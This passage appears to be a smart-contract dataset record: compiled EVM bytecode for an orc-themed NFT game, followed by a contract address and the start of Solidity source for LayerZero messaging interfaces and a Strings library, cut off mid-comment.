9061ffff620100008204811691600160201b8104821691600160301b8204811691600160401b8104821691600160501b8204811691600160601b90041688565b6040805160ff998a16815298909716602089015261ffff9586169688019690965292841660608701529083166080860152821660a0850152811660c08401521660e08201526101000161029f565b6103556106f6366004613529565b611f41565b610355610709366004613553565b611fad565b61035561071c366004613553565b61200e565b61035561072f36600461347e565b61208b565b61030c610742366004613797565b6121bb565b6102bb6107553660046133f4565b600c6020526000908152604090205460ff1681565b6102d4610778366004613797565b6122fb565b6102bb61078b36600461340f565b600860209081526000928352604080842090915290825290205460ff1681565b6103556107b93660046133f4565b6123c9565b60015461028b906001600160a01b031681565b60006380ac58cd60e01b6001600160e01b0319831614806108025750635b5e139f60e01b6001600160e01b03198316145b92915050565b6000818152600660205260409020546001600160a01b03163381148061085157506001600160a01b038116600090815260086020908152604080832033845290915290205460ff165b6108915760405162461bcd60e51b815260206004820152600c60248201526b1393d517d054141493d5915160a21b60448201526064015b60405180910390fd5b60008281526007602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6001546001600160a01b0316331461090457600080fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b336000818152600c60205260408120549091803b9160ff168061095a5750333214801561095a575081155b6109765760405162461bcd60e51b815260040161088890613a00565b6000610980612402565b9050600061098c612441565b600b549091506001600160a01b0316158015906109ab575060115460ff165b6109b457600080fd5b8115610a1f57600b54604051632770a7eb60e21b8152336004820152602481018490526001600160a01b0390911690639dc29fac90604401600060405180830381600087803b158015610a0657600080fd5b505af1158015610a1a573d6000803e3d6000fd5b505050505b610a288161249e565b61ffff16945050508041604051602001610a43929190613922565b60405160208183030381529060405280519060200120600a81905550505090565b6001546001600160a01b0316331480610a8c5750336000908152600c602052604090205460ff165b610aa85760405162461bcd60e51b815260040161088890613a5d565b85600d600089815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555084600d600089815260200190815260200160002060000160016101000a81548160ff021916908360ff16021790555083600d600089815260200190815260200160002060000160026101000a81548160ff021916908360ff16021790555082600d600089815260200190815260200160002060000160036101000a81548160ff021916908360ff16021790555081600d600089815260200190815260200160002060000160046101000a81548161ffff021916908361ffff1602179055508061ffff16600d600089815260200190815260200160002060000160086101000a81548163ffffffff021916908363ffffffff1602179055506000610bdc8460ff16612866565b610be88660ff16612866565b610bf48860ff16612866565b610bfe9190613b07565b610c089190613b07565b6000988952600d6020526040909820805461ffff909916600160301b0261ffff60301b199099169890981790975550505050505050565b6009546001600160a01b03163314610c5657600080fd5b610c608888612890565b6000610c6e8460ff16612866565b610c7a8660ff16612866565b610c868860ff16612866565b610c909190613b07565b610c9a9190613b07565b6040805160e08101825260ff998a1681529789166020808a01918252978a16898301908152968a1660608a0190815261ffff96871660808b0190815293871660a08b0190815263ffffffff96871660c08c0190815260009d8e52600d909a5292909b2098518954915197519b51935192519851909516600160401b0263ffffffff60401b19988716600160301b0261ffff60301b1993909716600160201b029290921667ffffffff0000000019938b1663010000000263ff000000199c8c1662010000029c909c1663ffff000019988c166101000261ffff1990931696909b169590951717959095169790971797909717959095169490941793909317169190911790555050565b6000818152600660205260409020546001600160a01b031633811480610dde57506000828152600760205260409020546001600160a01b031633145b80610e0c57506001600160a01b038116600090815260086020908152604080832033845290915290205460ff165b610e475760405162461bcd60e51b815260206004820152600c60248201526b1393d517d054141493d5915160a21b6044820152606401610888565b610e528184846129c4565b50505050565b6001546001600160a01b03163314610e6f57600080fd5b6011805460ff1916911515919091179055565b610e9e600083836040518060200160405280600081525061208b565b505050565b60008581526006602052604090205485906001600160a01b0316331480610ee057506000818152600e60205260409020546001600160a01b031633145b610efc5760405162461bcd60e51b815260040161088890613a37565b336000818152600c6020526040902054813b919060ff1680610f2657503332148015610f26575081155b610f425760405162461bcd60e51b815260040161088890613a00565b6000888152600e6020526040902054600160a01b90046001600160581b0316421015610f9e5760405162461bcd60e51b815260206004820152600b60248201526a37b71031b7b7b63237bbb760a91b6044820152606401610888565b6009876009811115610fb257610fb2613d28565b14156110005760405162461bcd60e51b815260206004820152601d60248201527f596f752063616e27742070696c6c61676520746865204f726320476f640000006044820152606401610888565b60115460ff1661100f57600080fd5b6000888152600e602052604090205442600160a01b9091046001600160581b0316101561103f5761103f88612aa6565b6000611049612441565b90506000600f60008a600981111561106357611063613d28565b600981111561107457611074613d28565b8152602001908152602001600020604051806101000160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900461ffff1661ffff1661ffff1681526020016000820160049054906101000a900461ffff1661ffff1661ffff1681526020016000820160069054906101000a900461ffff1661ffff1661ffff1681526020016000820160089054906101000a900461ffff1661ffff1661ffff16815260200160008201600a9054906101000a900461ffff1661ffff1661ffff16815260200160008201600c9054906101000a900461ffff1661ffff1661ffff16815250509050806000015160ff1661ffff16600d60008c815260200190815260200160002060000160049054906101000a900461ffff1661ffff1610156112035760405162461bcd60e51b815260206004820152601360248201527218995b1bddc81b5a5b9a5b5d5b481b195d995b606a1b6044820152606401610888565b604081015161ffff16156112be57621518006112236361645f8042613c34565b1161122d57600080fd5b600b5460408201516001600160a01b0390911690639dc29fac90339061125f9061ffff16670de0b6b3a7640000613bc9565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b1580156112a557600080fd5b505af11580156112b9573d6000803e3d6000fd5b505050505b60008815611325576112f6826112f1856040518060400160405280600481526020016348454c4d60e01b8152508f612e05565b612e3c565b909250905060ff8116156113255760008b8152600d60205260409020805461ff00191661010060ff8416021790555b871561138b5761135a826112f18560405180604001604052806008815260200167135052539210539160c21b8152508f612e05565b909250905060ff81161561138b5760008b8152600d60205260409020805462ff000019166201000060ff8416021790555b86156113f2576113bf826112f1856040518060400160405280600781526020016613d1919210539160ca1b8152508f612e05565b909250905060ff8116156113f25760008b8152600d60205260409020805463ff0000001916630100000060ff8416021790555b60018a600981111561140657611406613d28565b111561151e5781600f60008c600981111561142357611423613d28565b600981111561143457611434613d28565b815260208082019290925260409081016000208351815493850151928501516060860151608087015160a088015160c089015160e09099015160ff95861661ffff199099169890981761010095909716949094029590951765ffffffff000019166201000061ffff9384160265ffff00000000191617600160201b918316919091021769ffffffff0000000000001916600160301b9482169490940269ffff0000000000000000191693909317600160401b918416919091021763ffffffff60501b1916600160501b9483169490940261ffff60601b191693909317600160601b91909216021790555b60008b8152600d60209081526040808320815160e081018352905460ff808216835261010082048116948301949094526201000081048416928201929092526301000000820490921660608301819052600160201b820461ffff9081166080850152600160301b83041660a0840152600160401b90910463ffffffff1660c08301529091906115ac90612866565b6115bc836040015160ff16612866565b6115cc846020015160ff16612866565b6115d69190613b07565b6115e09190613b07565b60008e8152600d60205260409020805461ffff60301b1916600160301b61ffff841602179055905061161461025842613b2d565b60008e8152600e602090815260409182902080546001600160581b0394909416600160a01b02600160a01b600160f81b0319909416939093179092555161166696508795504194500191506139229050565b60408051601f198184030181529190528051602090910120600a555050505050505050565b6001546001600160a01b031633146116a257600080fd5b600e6020527f17d601a88bb1322194f3a0df02f48f41740139b3545a46b1bc6c9be5d0242dcf8054600160a01b600160f81b03199081166330b6879f60a11b179091557ff7017626f8db3bcc3d50dc7fc1b335de0c11ef3a0b759c45bb00fdc01045e4818054821663616d4deb60a01b1790557ff9cd6cae9e192e887318a73370b0d9ced8fad0de3262e7dcd58c5d6b38a1f762805482166330b6923b60a11b1790557fd2c5e12a85713ac5080dc9864faea7f9be52acabd54664722d4b43ec25d46cfa8054821663185b3a3160a21b1790557f45df11a93087c67f39cc3fd2a157ac4f5e0c9679022defabd2ac57082099cbdb80548216630c2da58360a31b1790557f26441cad167d55b5308f052b7583444af85f1fb0ed98d524f908be4c138e15bc8054821663616cfd0f60a01b1790557f369d525b527656b288bd7e9a7ec92fd185e87cd2006645ff57935802ed7b15f7805482166330b66fdf60a11b1790556110f56000527fd3a09c08a8e3682163b9c0420eff3b2620062a6242a4c38633713eb05d98725f805490911663185b5a6160a21b179055565b60005b82811015610e525761186c84848381811061185e5761185e613d3e565b905060200201353384613015565b8061187681613cac565b915050611841565b6001546001600160a01b03163314806118a65750336000908152600c602052604090205460ff165b6118c25760405162461bcd60e51b815260040161088890613a5d565b600b54604051632770a7eb60e21b81526001600160a01b0384811660048301526024820184905290911690639dc29fac906044015b600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050505050565b60005b81811015610e9e5761195983838381811061194d5761194d613d3e565b90506020020135612aa6565b8061196381613cac565b915050611930565b60008281526006602052604090205482906001600160a01b03163314806119a857506000818152600e60205260409020546001600160a01b031633145b6119c45760405162461bcd60e51b815260040161088890613a37565b336000818152600c6020526040902054813b919060ff16806119ee575033321480156119ee575081155b611a0a5760405162461bcd60e51b815260040161088890613a00565b611a15853386613015565b8041604051602001611a28929190613922565b60408051601f198184030181529190528051602090910120600a555050505050565b60008181526006602052604090205481906001600160a01b0316331480611a8757506000818152600e60205260409020546001600160a01b031633145b611aa35760405162461bcd60e51b815260040161088890613a37565b336000818152600c6020526040902054813b919060ff1680611acd57503332148015611acd575081155b611ae95760405162461bcd60e51b815260040161088890613a00565b6000848152600d6020526040902054600a90611b0d9062010000900460ff16612866565b61ffff1610611b1b57600080fd5b62151800611b2d6361645f8042613c34565b1015611b3857600080fd5b60115460ff16611b4757600080fd5b6040805161010080820183527f3e674ca654b1063e821161bbf601452dd0f1671d575d614ba17ca7f3cdc760395460ff8082168085529282041660208085019190915261ffff620100008304811685870152600160201b80840482166060870152600160301b840482166080870152600160401b8404821660a0870152600160501b8404821660c0870152600160601b909304811660e086015260008a8152600d90925294902054929392049091161015611c0157600080fd5b600b5460408201516001600160a01b0390911690639dc29fac903390611c339061ffff16670de0b6b3a7640000613bc9565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015611c7957600080fd5b505af1158015611c8d573d6000803e3d6000fd5b50505050611c9a85612aa6565b60096000908152600f6020527f3e674ca654b1063e821161bbf601452dd0f1671d575d614ba17ca7f3cdc760398054600160201b900461ffff16906004611ce083613c77565b82546101009290920a61ffff8181021990931691909216919091021790556000878152600d60205260409020805461ffff60301b1916661e0000000000001790559050611d2e816028613b45565b6000878152600d6020908152604091829020805463ffff00001916630100000060ff9590951694850262ff00001916176201000085021761ffff1916610100850260ff19161790931790925551611d8b9350849250419101613922565b60408051601f198184030181529190528051602090910120600a5550505050565b6009546001600160a01b03163314611dc357600080fd5b611dce8330866129c4565b6040518060600160405280846001600160a01b03168152602001836001600160581b031681526020018260ff166002811115611e0c57611e0c613d28565b6002811115611e1d57611e1d613d28565b90526000858152600e602090815260409182902083518154928501516001600160581b0316600160a01b026001600160f81b03199093166001600160a01b03909116179190911780825591830151909182906001600160f81b0316600160f81b836002811115611e8f57611e8f613d28565b021790555050604080516001600160a01b038616815260208101879052428183015260ff8416606082015290517f12e0cc56edd6c3536e9da2076ca9a265cc04a9b2064bc61ebbe5c25ea280c03692509081900360800190a150505050565b6001546001600160a01b03163314611f0557600080fd5b600980546001600160a01b039384166001600160a01b0319909116179055601180549190921661010002610100600160a81b0319909116179055565b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000818152600660205260409020546001600160a01b03163314611fff5760405162461bcd60e51b81526020600482015260096024820152682727aa2fa7aba722a960b91b6044820152606401610888565b61200a3383836129c4565b5050565b6001546001600160a01b03163314806120365750336000908152600c602052604090205460ff165b6120525760405162461bcd60e51b815260040161088890613a5d565b600b546040516340c10f1960e01b81526001600160a01b03848116600483015260248201849052909116906340c10f19906044016118f7565b61209760008484610da2565b6001600160a01b0383163b15610e52576000836001600160a01b031663150b7a0233600086866040516024016120d09493929190613965565b6040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040516121099190613949565b600060405180830381855afa9150503d8060008114612144576040519150601f19603f3d011682016040523d82523d6000602084013e612149565b606091505b5091505060008180602001905181019061216391906136e8565b9050630a85bd0160e11b6001600160e01b03198216146119255760405162461bcd60e51b81526020600482015260136024820152722727aa2fa2a9219b9918afa922a1a2a4ab22a960691b6044820152606401610888565b6000818152600d6020908152604091829020825160e081018452905460ff80821680845261010080840483169585018690526201000084048316858801819052630100000085049093166060808701829052600160201b860461ffff90811660808901819052600160301b8804821660a08a01819052600160401b90980463ffffffff1660c08a01526011549a516356259bc560e11b8152918c166004830152602482019590955260448101989098526064880194909452608487015260a486019190915260c485019290925293919291046001600160a01b03169063ac4b378a9060e40160006040518083038186803b1580156122b857600080fd5b505afa1580156122cc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526122f49190810190613720565b9392505050565b6000818152600e60205260408120548190600160a01b90046001600160581b03164211612329576000612352565b6000838152600e602052604090205461235290600160a01b90046001600160581b031642613c34565b905060016000848152600e6020526040902054600160f81b900460ff16600281111561238057612380613d28565b146123a4576201518061239582610bb8613bc9565b61239f9190613b8b565b6122f4565b6000838152600d60205260409020546122f4908290600160301b900461ffff16613307565b6001546001600160a01b031633146123e057600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000806003546004546124159190613b2d565b90506111c6811015612431576804563918244f40000091505090565b68097c9ce4cf6d5c000091505090565b600a546040516bffffffffffffffffffffffff193360601b16602082015242603482018190524860548301526074820152609481019190915260009060b4016040516020818303038152906040528051906020012060001c905090565b600080808080806124b2606461ffff613b6a565b6124bd906047613b9f565b61ffff1690506000606461ffff6124d49190613b6a565b6124df906050613b9f565b61ffff1690506000606461ffff6124f69190613b6a565b61250190605f613b9f565b61ffff1690506000606461ffff6125189190613b6a565b612523906063613b9f565b6004805461ffff929092169250600061253b83613cac565b9190505560035461254c9190613b2d565b612557906001613b2d565b985060006125868b60405180604001604052806004815260200163424f445960e01b8152508c61ffff16612e05565b9050818161ffff16116125cf57848161ffff16116125b9576125a9600d82613cc7565b6125b4906001613b07565b6125e5565b6125c4600c82613cc7565b6125b490600d613b07565b6125da600382613cc7565b6125e5906019613b07565b985060006126148c6040518060400160405280600481526020016348454c4d60e01b8152508d61ffff16612e05565b9050848161ffff161061263c5761262c600482613cc7565b612637906005613b07565b61263f565b60005b985060006126718d6040518060400160405280600781526020016613d1919210539160ca1b8152508e61ffff16612e05565b9050858161ffff161061269957612689600482613cc7565b612694906005613b07565b61269c565b60005b975060006126cf8e60405180604001604052806008815260200167135052539210539160c21b8152508f61ffff16612e05565b9050858161ffff16106126f7576126e7600482613cc7565b6126f2906005613b07565b61270d565b612702600482613cc7565b61270d906001613b07565b99505050505050505050612725338661ffff16612890565b60006127338260ff16612866565b61273f8460ff16612866565b61274b8660ff16612866565b6127559190613b07565b61275f9190613b07565b6040805160e08101825260ff978816815295871660208088019182529588168783019081529488166060880190815260006080890181815261ffff95861660a08b0190815260c08b018381528d88168452600d909a52949091209851895493519751925191519451985163ffffffff16600160401b0263ffffffff60401b19998716600160301b0261ffff60301b1996909716600160201b029590951667ffffffff0000000019928c1663010000000263ff00000019948d1662010000029490941663ffff000019998d166101000261ffff1990961692909c1691909117939093179690961698909817979097179390931695909517949094179190911617905550919050565b600061ffff821661287957506000919050565b6004612886600184613c11565b6108029190613b6a565b6000818152600660205260409020546001600160a01b0316156128e65760405162461bcd60e51b815260206004820152600e60248201526d1053149150511657d3525395115160921b6044820152606401610888565b60006004546003546128f89190613b2d565b90506113ba808211156129425760405162461bcd60e51b81526020600482015260126024820152711350560814d5541413164814915050d2115160721b6044820152606401610888565b6002805490600061295283613cac565b90915550506001600160a01b038416600081815260056020908152604080832080546001019055868352600690915280822080546001600160a01b0319168417905551859291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a450505050565b6000818152600660205260409020546001600160a01b038481169116146129ea57600080fd5b6001600160a01b0383166000908152600560205260408120805491612a0e83613c95565b90915550506001600160a01b0382166000908152600560205260408120805491612a3783613cac565b9091555050600081815260076020908152604080832080546001600160a01b0319908116909155600690925280832080546001600160a01b03871693168317905551839233917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b336000818152600c6020526040902054813b919060ff1680612ad057503332148015612ad0575081155b612aec5760405162461bcd60e51b815260040161088890613a00565b6000838152600d60209081526040808320815160e081018352905460ff80821683526101008204811683860152620100008204811683850152630100000082048116606080850191909152600160201b830461ffff9081166080860152600160301b84041660a0850152600160401b90920463ffffffff1660c0840152888652600e85528386208451928301855280546001600160a01b0381168452600160a01b81046001600160581b0316968401969096529295949193840191600160f81b9004166002811115612bc057612bc0613d28565b6002811115612bd157612bd1613d28565b81525050905080602001516001600160581b03164211612bf2575050612dd2565b600081602001516001600160581b031642612c0d9190613c34565b9050600182604001516002811115612c2757612c27613d28565b1415612cb457600b54825160a08501516001600160a01b03909216916340c10f199190612c55908590613307565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015612c9b57600080fd5b505af1158015612caf573d6000803e3d6000fd5b505050505b600282604001516002811115612ccc57612ccc613d28565b1415612d9e576000868152600d6020526040812054600160401b900463ffffffff1662015180612cfe84610bb8613bc9565b612d089190613b8b565b612d129190613b2d565b9050612d206103e882613ce8565b6000888152600d60205260409020805463ffffffff60401b191661ffff92909216600160401b02919091179055612d596103e882613b8b565b6000888152600d602052604090208054600490612d82908490600160201b900461ffff16613b07565b92506101000a81548161ffff021916908361ffff160217905550505b5050506000838152600e602052604090208054600160a01b600160f81b031916600160a01b426001600160581b0316021790555b8041604051602001612de5929190613922565b60408051601f198184030181529190528051602090910120600a55505050565b6000838383604051602001612e1c93929190613a85565b60408051601f198184030181529190528051602090910120949350505050565b604080516101008101825260008082526020820181905291810182905260608082018390526080820183905260a0820183905260c0820183905260e08201839052840180519192918291612e8f82613c77565b61ffff908116909152612ea3911685613ce8565b90508460c001518560a001518660800151612ebe9190613b07565b612ec89190613b07565b61ffff1681118015612ef3575060e085018051600091612ee782613c77565b61ffff90811690915216115b15612f41576020850151612f08906003613b45565b612f13906004613be8565b60ff16612f21600483613ce8565b612f2c906001613b2d565b612f369190613b2d565b91508492505061300e565b8460a001518560800151612f559190613b07565b61ffff1681118015612f80575060c085018051600091612f7482613c77565b61ffff90811690915216115b15612f95576020850151612f08906002613b45565b846080015161ffff1681118015612fc5575060a085018051600091612fb982613c77565b61ffff90811690915216115b15612fda576020850151612f08906001613b45565b608085018051600091612fec82613c77565b61ffff90811690915216111561300c576020850151612f13906004613be8565b505b9250929050565b6000838152600e60209081526040808320815160608101835281546001600160a01b0381168252600160a01b81046001600160581b031694820194909452929091830190600160f81b900460ff16600281111561307457613074613d28565b600281111561308557613085613d28565b905250905081600281111561309c5761309c613d28565b816040015160028111156130b2576130b2613d28565b14156130f55760405162461bcd60e51b8152602060048201526012602482015271185b1c9958591e48191bda5b99c81d1a185d60721b6044820152606401610888565b600081602001516001600160581b0316421161311e5781602001516001600160581b0316613120565b425b905060008260400151600281111561313a5761313a613d28565b14156131505761314b8430876129c4565b61319a565b81602001516001600160581b031642111561316e5761316e85612aa6565b81602001516001600160581b0316816001600160581b031611613195578160200151613197565b805b90505b6000808460028111156131af576131af613d28565b146131ba57846131bd565b60005b905060008460028111156131d3576131d3613d28565b14156131e4576131e43086886129c4565b6040518060600160405280826001600160a01b03168152602001836001600160581b0316815260200185600281111561321f5761321f613d28565b90526000878152600e602090815260409182902083518154928501516001600160581b0316600160a01b026001600160f81b03199093166001600160a01b03909116179190911780825591830151909182906001600160f81b0316600160f81b83600281111561329157613291613d28565b02179055509050507f12e0cc56edd6c3536e9da2076ca9a265cc04a9b2064bc61ebbe5c25ea280c0368587428760028111156132cf576132cf613d28565b604080516001600160a01b03909516855260208501939093529183015260ff16606082015260800160405180910390a1505050505050565b600062015180613318836004613b07565b6133269061ffff1685613bc9565b61333890670de0b6b3a7640000613bc9565b6122f49190613b8b565b80356001600160a01b038116811461335957600080fd5b919050565b60008083601f84011261337057600080fd5b50813567ffffffffffffffff81111561338857600080fd5b6020830191508360208260051b850101111561300e57600080fd5b8035801515811461335957600080fd5b80356003811061335957600080fd5b8035600a811061335957600080fd5b803561ffff8116811461335957600080fd5b803560ff8116811461335957600080fd5b60006020828403121561340657600080fd5b6122f482613342565b6000806040838503121561342257600080fd5b61342b83613342565b915061343960208401613342565b90509250929050565b60008060006060848603121561345757600080fd5b61346084613342565b925061346e60208501613342565b9150604084013590509250925092565b6000806000806080858703121561349457600080fd5b61349d85613342565b93506134ab60208601613342565b925060408501359150606085013567ffffffffffffffff8111156134ce57600080fd5b8501601f810187136134df57600080fd5b80356134f26134ed82613adf565b613aae565b81815288602083850101111561350757600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b6000806040838503121561353c57600080fd5b61354583613342565b9150613439602084016133a3565b6000806040838503121561356657600080fd5b61356f83613342565b946020939093013593505050565b600080600080600080600080610100898b03121561359a57600080fd5b6135a389613342565b9750602089013596506135b860408a016133e3565b95506135c660608a016133e3565b94506135d460808a016133e3565b93506135e260a08a016133e3565b92506135f060c08a016133d1565b915060e089013563ffffffff8116811461360957600080fd5b809150509295985092959890939650565b6000806020838503121561362d57600080fd5b823567ffffffffffffffff81111561364457600080fd5b6136508582860161335e565b90969095509350505050565b60008060006040848603121561367157600080fd5b833567ffffffffffffffff81111561368857600080fd5b6136948682870161335e565b90945092506136a79050602085016133b3565b90509250925092565b6000602082840312156136c257600080fd5b6122f4826133a3565b6000602082840312156136dd57600080fd5b81356122f481613d6a565b6000602082840312156136fa57600080fd5b81516122f481613d6a565b60006020828403121561371757600080fd5b6122f4826133c2565b60006020828403121561373257600080fd5b815167ffffffffffffffff81111561374957600080fd5b8201601f8101841361375a57600080fd5b80516137686134ed82613adf565b81815285602083850101111561377d57600080fd5b61378e826020830160208601613c4b565b95945050505050565b6000602082840312156137a957600080fd5b5035919050565b600080600080608085870312156137c657600080fd5b843593506137d660208601613342565b9250604085013591506137eb606086016133e3565b905092959194509250565b6000806040838503121561380957600080fd5b82359150613439602084016133b3565b600080600080600060a0868803121561383157600080fd5b85359450613841602087016133c2565b935061384f604087016133a3565b925061385d606087016133a3565b915061386b608087016133a3565b90509295509295909350565b600080600080600080600060e0888a03121561389257600080fd5b873596506138a2602089016133e3565b95506138b0604089016133e3565b94506138be606089016133e3565b93506138cc608089016133e3565b92506138da60a089016133d1565b91506138e860c089016133d1565b905092959891949750929550565b6000815180845261390e816020860160208601613c4b565b601f01601f19169290920160200192915050565b6bffffffffffffffffffffffff19606093841b811682529190921b16601482015260280190565b6000825161395b818460208701613c4b565b9190910192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613998908301846138f6565b9695505050505050565b6001600160a01b03841681526001600160581b038316602082015260608101600383106139df57634e487b7160e01b600052602160045260246000fd5b826040830152949350505050565b6020815260006122f460208301846138f6565b60208082526017908201527f796f7527726520747279696e6720746f20636865617421000000000000000000604082015260600190565b6020808252600c908201526b6e6f7420796f7572206f726360a01b604082015260600190565b6020808252600e908201526d1b9bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b838152606060208201526000613a9e60608301856138f6565b9050826040830152949350505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715613ad757613ad7613d54565b604052919050565b600067ffffffffffffffff821115613af957613af9613d54565b50601f01601f191660200190565b600061ffff808316818516808303821115613b2457613b24613cfc565b01949350505050565b60008219821115613b4057613b40613cfc565b500190565b600060ff821660ff84168060ff03821115613b6257613b62613cfc565b019392505050565b600061ffff80841680613b7f57613b7f613d12565b92169190910492915050565b600082613b9a57613b9a613d12565b500490565b600061ffff80831681851681830481118215151615613bc057613bc0613cfc565b02949350505050565b6000816000190483118215151615613be357613be3613cfc565b500290565b600060ff821660ff84168160ff0481118215151615613c0957613c09613cfc565b029392505050565b600061ffff83811690831681811015613c2c57613c2c613cfc565b039392505050565b600082821015613c4657613c46613cfc565b500390565b60005b83811015613c66578181015183820152602001613c4e565b83811115610e525750506000910152565b600061ffff821680613c8b57613c8b613cfc565b6000190192915050565b600081613ca457613ca4613cfc565b506000190190565b6000600019821415613cc057613cc0613cfc565b5060010190565b600061ffff80841680613cdc57613cdc613d12565b92169190910692915050565b600082613cf757613cf7613d12565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114613d8057600080fd5b5056fea2646970667358221220616d34b3abbf4b5ec0e8e5e1a1c86dd593315ecb32f14ae0f4cceddb4225ca7f64736f6c63430008070033
[ 0, 4, 7, 9, 10 ]
0xf2333584fc5fb17e6b2e9416ad4b3f5e94afd467
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface ILayerZeroUserApplicationConfig { // @notice set the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _configType - type of configuration. every messaging library has its own convention. // @param _config - configuration in the bytes. can encode arbitrary content. function setConfig(uint16 _version, uint16 _chainId, uint _configType, bytes calldata _config) external; // @notice set the send() LayerZero messaging library version to _version // @param _version - new messaging library version function setSendVersion(uint16 _version) external; // @notice set the lzReceive() LayerZero messaging library version to _version // @param _version - new messaging library version function setReceiveVersion(uint16 _version) external; // @notice Only when the UA needs to resume the message flow in blocking mode and clear the stored payload // @param _srcChainId - the chainId of the source chain // @param _srcAddress - the contract address of the source contract at the source chain function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external; } pragma solidity ^0.8.7; interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig { // @notice send a LayerZero message to the specified address at a LayerZero endpoint. // @param _dstChainId - the destination chain identifier // @param _destination - the address on destination chain (in bytes). address length/format may vary by chains // @param _payload - a custom bytes payload to send to the destination contract // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination function send(uint16 _dstChainId, bytes calldata _destination, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) external payable; // @notice used by the messaging library to publish verified payload // @param _srcChainId - the source chain identifier // @param _srcAddress - the source contract (as bytes) at the source chain // @param _dstAddress - the address on destination chain // @param _nonce - the unbound message ordering nonce // @param _gasLimit - the gas limit for external contract execution // @param _payload - verified payload to send to the destination contract function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external; // @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function getInboundNonce(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (uint64); // @notice get the outboundNonce from this source chain which, consequently, is always an EVM // @param _srcAddress - the source chain contract address function getOutboundNonce(uint16 _dstChainId, address _srcAddress) external view returns (uint64); // @notice gets a quote in source native gas, for the amount that send() requires to pay for message delivery // @param _dstChainId - the destination chain identifier // @param _userApplication - the user app address on this EVM chain // @param _payload - the custom message to send over LayerZero // @param _payInZRO - if false, user app pays the protocol fee in native token // @param _adapterParam - parameters for the adapter service, e.g. send some dust native token to dstChain function estimateFees(uint16 _dstChainId, address _userApplication, bytes calldata _payload, bool _payInZRO, bytes calldata _adapterParam) external view returns (uint nativeFee, uint zroFee); // @notice get this Endpoint's immutable source identifier function getChainId() external view returns (uint16); // @notice the interface to retry failed message on this Endpoint destination // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address // @param _payload - the payload to be retried function retryPayload(uint16 _srcChainId, bytes calldata _srcAddress, bytes calldata _payload) external; // @notice query if any STORED payload (message blocking) at the endpoint. // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function hasStoredPayload(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool); // @notice query if the _libraryAddress is valid for sending msgs. // @param _userApplication - the user app address on this EVM chain function getSendLibraryAddress(address _userApplication) external view returns (address); // @notice query if the _libraryAddress is valid for receiving msgs. // @param _userApplication - the user app address on this EVM chain function getReceiveLibraryAddress(address _userApplication) external view returns (address); // @notice query if the non-reentrancy guard for send() is on // @return true if the guard is on. false otherwise function isSendingPayload() external view returns (bool); // @notice query if the non-reentrancy guard for receive() is on // @return true if the guard is on. false otherwise function isReceivingPayload() external view returns (bool); // @notice get the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _userApplication - the contract address of the user application // @param _configType - type of configuration. every messaging library has its own convention. function getConfig(uint16 _version, uint16 _chainId, address _userApplication, uint _configType) external view returns (bytes memory); // @notice get the send() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getSendVersion(address _userApplication) external view returns (uint16); // @notice get the lzReceive() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getReceiveVersion(address _userApplication) external view returns (uint16); } pragma solidity ^0.8.7; interface ILayerZeroReceiver { // @notice LayerZero endpoint will invoke this function to deliver the message on the destination // @param _srcChainId - the source endpoint identifier // @param _srcAddress - the source sending contract address from the source chain // @param _nonce - the ordered message nonce // @param _payload - the signed payload is the UA bytes has encoded to be sent function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external; } pragma solidity ^0.8.7; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by 